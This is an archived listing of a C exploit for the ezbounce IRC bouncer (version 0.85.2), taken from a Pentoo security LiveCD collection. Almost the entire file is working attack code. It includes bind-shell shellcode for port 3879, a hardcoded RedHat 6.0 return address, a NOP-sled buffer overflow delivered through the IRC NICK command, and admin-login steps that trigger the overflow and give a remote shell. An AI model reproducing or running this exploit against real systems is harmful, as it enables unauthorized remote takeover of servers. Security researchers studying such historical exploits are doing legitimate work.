home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bnc / bnc-ezbounce.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  123 lines

  1. /* ezbounce version (0.85.2 and probably others) exploit by sectorx
  2.  * mad thanks to duke for helping me with the segment probe code :)
  3.  * I included the offset of RedHat 6.0's RPM, feel free to report me of
  4.  * any other offsets of precompiled binaries.
  5.  * 
  6.  * PRIVATE! DO NOT DISTRIBUTE!!
  7. */
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11. #include <sys/socket.h>
  12. #include <sys/types.h>
  13. #include <netinet/in.h>
  14. #include <fcntl.h>
  15. #include <stdarg.h>
  16. #include <time.h>
  17. #include <sys/time.h>
  18.  
  19. #define MAX      4096
  20. #define TIMEOUT  1
  21. #define SIZE     400
  22. #define TOP      310
  23. #define ADDR     0xbffff26c   /* ezbounce 0.85.2 RedHat 6.0 RPM offset */
  24.  
  25. /* bind a shell on port 3879 by lamagra */
  26. char shellcode[]=
  27. "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  28. "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  29. "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  30. "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  31. "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  32. "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  33. "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  34. "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
  35.  
  36. int Connect(int ip, int port)
  37. {
  38.    int fd;
  39.    struct sockaddr_in a;
  40.    
  41.    fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  42.    if (fd<0) return -1;
  43.    a.sin_family = AF_INET;
  44.    a.sin_port = htons(port);
  45.    a.sin_addr.s_addr = ip;
  46.    if (connect(fd,(struct sockaddr*)&a,sizeof(struct sockaddr))<0) return -1;
  47.    return fd;
  48. }
  49.  
  50. int sprint(int fd, const char *str, ...)
  51. {
  52.    va_list args;
  53.    char buf[MAX];
  54.    
  55.    va_start(args,str);
  56.    vsnprintf(buf,MAX,str,args);
  57.    printf("-> %s",buf);
  58.    return(write(fd,buf,strlen(buf)));
  59. }
  60.  
  61. int Datawatch(int fd, int sec)
  62. {
  63.    fd_set fds;
  64.    struct timeval tv;
  65.    
  66.    tv.tv_sec = sec;
  67.    tv.tv_usec = 0;
  68.    FD_ZERO(&fds);
  69.    FD_SET(fd,&fds);
  70.    if (select(fd+1,&fds,NULL,NULL,&tv)) return 1;
  71.    return 0;
  72. }
  73.  
  74. int Get(int fd, char *grep)
  75. {
  76.    char buf[MAX];
  77.    int ret=0;
  78.    
  79.    while (Datawatch(fd,TIMEOUT)>0) {
  80.       memset(&buf,0,sizeof(buf));
  81.       read(fd,&buf,sizeof(buf));
  82.       if (strstr(buf,grep)) ++ret;
  83.    }
  84.    return ret;
  85. }
  86.  
  87. int main(int argc, char *argv[])
  88. {
  89.    int i,fd;
  90.    char buf[SIZE];
  91.    
  92.    printf("ezbounce remote exploit by sectorx of xor\n");
  93.    if (argc<6) {
  94.       printf("Usage: %s <ip> <port> <password> <admin username> <admin password>\n\n",argv[0]);
  95.       return;
  96.    }
  97.    
  98.    memset(&buf,0x90,sizeof(buf));
  99.    for (i=TOP+2;i<SIZE-4;i+=4) *(long*)&buf[i] = ADDR;
  100.    memcpy(buf+(TOP-sizeof(shellcode)-1),shellcode,sizeof(shellcode));
  101.    buf[TOP-2] = 0x90;
  102.    buf[SIZE-1] = '\0';
  103.    
  104.    fd = Connect(inet_addr(argv[1]),atoi(argv[2]));
  105.    if (fd<0) {
  106.       perror("Connect ");
  107.       return;
  108.    }
  109.    sprint(fd,"USER xor\n");
  110.    sprint(fd,"NICK %s\n",buf);
  111.    sprint(fd,"PASS %s\n",argv[3]);
  112.    Get(fd,"NOTICE");
  113.    sprint(fd,"ADMIN %s %s\n",argv[4],argv[5]);
  114.    if (Get(fd,"granted")==0) {
  115.       printf("** Error: i was unable to gain administrative privilages using provided l/p\naborting.\n");
  116.       goto end;
  117.    }
  118.    sprint(fd,"WRITE all a\n");
  119.    printf("Code sent! telnet to port 3879 for shell\n");
  120.    end: ;
  121.    close(fd);
  122. }
  123. /*                   www.hack.co.za   [28 September 2000]*/